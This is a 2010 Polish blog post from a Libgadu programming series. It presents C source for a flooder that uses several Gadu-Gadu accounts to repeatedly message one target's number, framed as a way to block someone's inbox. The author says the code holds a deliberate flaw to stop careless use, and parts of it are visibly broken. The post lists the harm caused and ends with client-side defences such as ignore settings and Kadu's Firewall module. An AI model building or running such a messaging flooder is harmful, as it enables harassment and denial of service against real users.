Libgadu #4 – Flooding GG – jak zablokować komuś skrzynkę?

Mar 29
2010

Kadu_logoSzczerze mówiąc długo zastanawiałem się, czy zaprezentować na łamach mojej witryny kod służący do floodowania kont Gadu-Gadu. Jednak po namyśle stwierdziłem, że program jest na tyle prosty, że każdy bardziej ambitny programista C napisze go w kilka minut. Jedyną rzeczą, która może okazać się „niezwykłą” to pomysł wykorzystania Libgadu oraz samego języka C.

Ponadto uważam, że po trzech artykułach z serii „Libgadu” komentowanie każdej linii kodu jest zbędne zwłaszcza, jeśli mamy do czynienia z podstawami programowania dzięki, którym jednak osiągniemy bardzo widowiskowy efekt 🙂

Zasada działania floodera jest banalna. W kodzie programu umieszczamy 3 informacje.

  1. Identyfikator GG oponenta.
  2. Wiadomość do przesłania.
  3. Numery i hasła do naszych kont na serwerze GG. Im więcej, tym program będzie dysponował większą siłą.

Sam program składa się z dwóch funkcji.

  1. bot() będąca tak naprawdę niczym innym jak programem send.c. Po jej zadeklarowaniu z numerem i hasłem w parametrach wysyła wiadomość pod dany numer.
  2. main() główna funkcja z pętlą for oraz zadeklarowanymi „botami”. Po wysłaniu wiadomości z wszystkich numerów rozpoczyna operacje od nowa.

bot()

int bot(int numer, char haselko[]) {
struct gg_session *sess;
	struct gg_event *even;
	struct gg_login_params p;
 
	gg_debug_level = 255;
 
	memset(&p, 0, sizeof(p));
	p.uin = numer;
	p.password = haselko;
	p.encoding = GG_ENCODING_UTF8;
 
	if (!(sess = gg_login(&p))) {
		printf("Nie udało się połączyć: %sn", strerror(errno));
		gg_free_session(sess);
		return 1;
	}
 
	printf("Połączono.n");
 
//Wysłanie listy kontaktów z wartością NULL
	if (gg_notify(sess, NULL, 0) == -1) {
		printf("Połączenie przerwane: %sn", strerror(errno));
		gg_free_session(sess);
		return 1;
	}
 
/*wprowadzamy numer oraz tresc*/
	if (gg_send_message(sess, GG_CLASS_MSG, na_jaki_numer, (unsigned char*) wiadomosc) == -1) {
		printf("Połączenie przerwane: %sn", strerror(errno));
		gg_free_session(sess);
		return 1;
	}
 
/*poniższą część można olać, ale poczekajmy na potwierdzenie*/
 
	while (0) {
		if (!(e = gg_watch_fd(sess))) {
			printf("Połączenie przerwane: %sn", strerror(errno));
			gg_logoff(sess);
			gg_free_session(sess);
			return 1;
		}
 
		if (e->type == GG_EVENT_ACK) {
			printf("Wysłano.n");
			gg_free_event(e);
			break;
		}
 
		gg_free_event(e);
	}
 
	gg_logoff(sess);
	gg_free_session(sess);
}

main()

int main(int argc, char **argv)
{
	for(int i=1; i<=1; ++i) {
		bot(numer, "haslo");
		bot(numer, "haslo");
		bot(numer, "haslo");
		bot(numer, "haslo");
		bot(numer, "haslo");
		bot(numer, "haslo");
		bot(numer, "haslo");
	}
 
/*
bot(numer, "haslo");
bot(, "");
bot(, "");
bot(, "");
bot(, "");
bot(, "");
bot(, "");
bot(, "");
bot(, "");
bot(, "");
*/
	return 0;
}

Szkielet

/*
Program ma za zadanie wysyłać
Daną wiadomość z zdefiniowanych
Wcześniej kont pod
Jeden konkretny numer
 
Jednym słowem flood
 
Autor:
Komeniusz [Nie odpowiadam za uzycie tego programu!]
Licencja: GNU - edukacyjna!
 
Program testowano na:
System: Ubuntu 9.10
Biblioteka: Libgadu 1.9.0-rc2 (wersja testowa)
 
Download Libgadu: http://toxygen.net/libgadu/
Dokumentacja Libgadu: http://toxygen.net/libgadu/doc/
*/
//Niezbędne biblioteki
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include "libgadu.h"
/*ustawienia*/
char na_jaki_numer = numer;
char wiadomosc[] = "L00fci@@m Ci33 :****";

UWAGA!
W programie zawarte jest zabezpieczenie anti script kiddie, aby ktoś, kto nie rozumie programu nie miał możliwości bezmyślnego SPIM’owania innych użytkowników.

Graficzny przykład działania programu

libgadu gg flooder

Jak widać potwierdziłem złotą myśl

Nie ilość linii kodu ma znaczenie, a ich wykorzystanie

Powyższy flooder GG stanowi niebezpieczne narzędzie w rękach osoby z dość pokaźną bazą numerów gadu-gadu. Po długotrwałym działaniu programu na ekranie zacznie wyświetlać nam się coraz więcej wiadomości, które mogą spowodować

  • Obciążenie system
  • Zawieszenie komunikatora
  • Zablokowanie skrzynki odbiorczej
  • Zawrót głowy i apopleksje

Jednakże na każdą metodę ataku znajdzie się metoda obrony. Omówienie kwestii wykrycia ataku jest chyba zbędna, gdyż atak jest bardzo ofensywny i nawet dziecko neo zauważy lawinę wiadomości docierających do naszego komunikatora.

Aby móc w jakimś stopniu zabezpieczyć się przed floodem możemy

  • Blokować numery, które przysyłają do nas wiadomości – jednakże metoda wydaje się być monotonna przy 50 numerach.
  • Włączyć opcję „Ignoruj wiadomości od nieznanych użytkowników” (w Kadu Konfiguracja>Kontakty>Ogólne>Nieznane) – lecz tym sposobem spowodujemy, że nie dojdą do nas wiadomości od prawdziwych osób, które chcą się z nami skontaktować.
  • Użyć modułu antyspamowego dostępnego w Kadu pod nazwą Firewall – bardzo ciekawe rozwiązanie. Firewall posiada dwa stopnie „zaawansowania” jeśli chodzi o flooding. Pierwszym zabezpieczeniem jest obowiązek wpisania hasła przez nieznaną osobę, aby jej wiadomości do nas docierały. Hasło możemy podać w odpowiedzi zwrotnej informującej o przymusie podania hasła. Jeśli jednak treścią wiadomości floodera będzie właśnie to hasło, to jest jeszcze druga ściana firewalla. Opóźnienie pomiędzy otrzymywaniem wiadomości, opcja ustawiona na 500-2000ms nie zawali nas wiadomościami, a my będziemy mieli czas na włączenie funkcji „Ignoruj wiadomości od nieznanych użytkowników„, dzięki czemu unikniemy ataku typu DoS przez flooder.

Jeden komentarz w “Libgadu #4 – Flooding GG – jak zablokować komuś skrzynkę?”

  1. melouber napisał/a:

    Świetnie napisane. Mogłeś dać trudniejsze zabezpieczenia „anti script kiddie”.
    Pozdrawiam 🙂

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *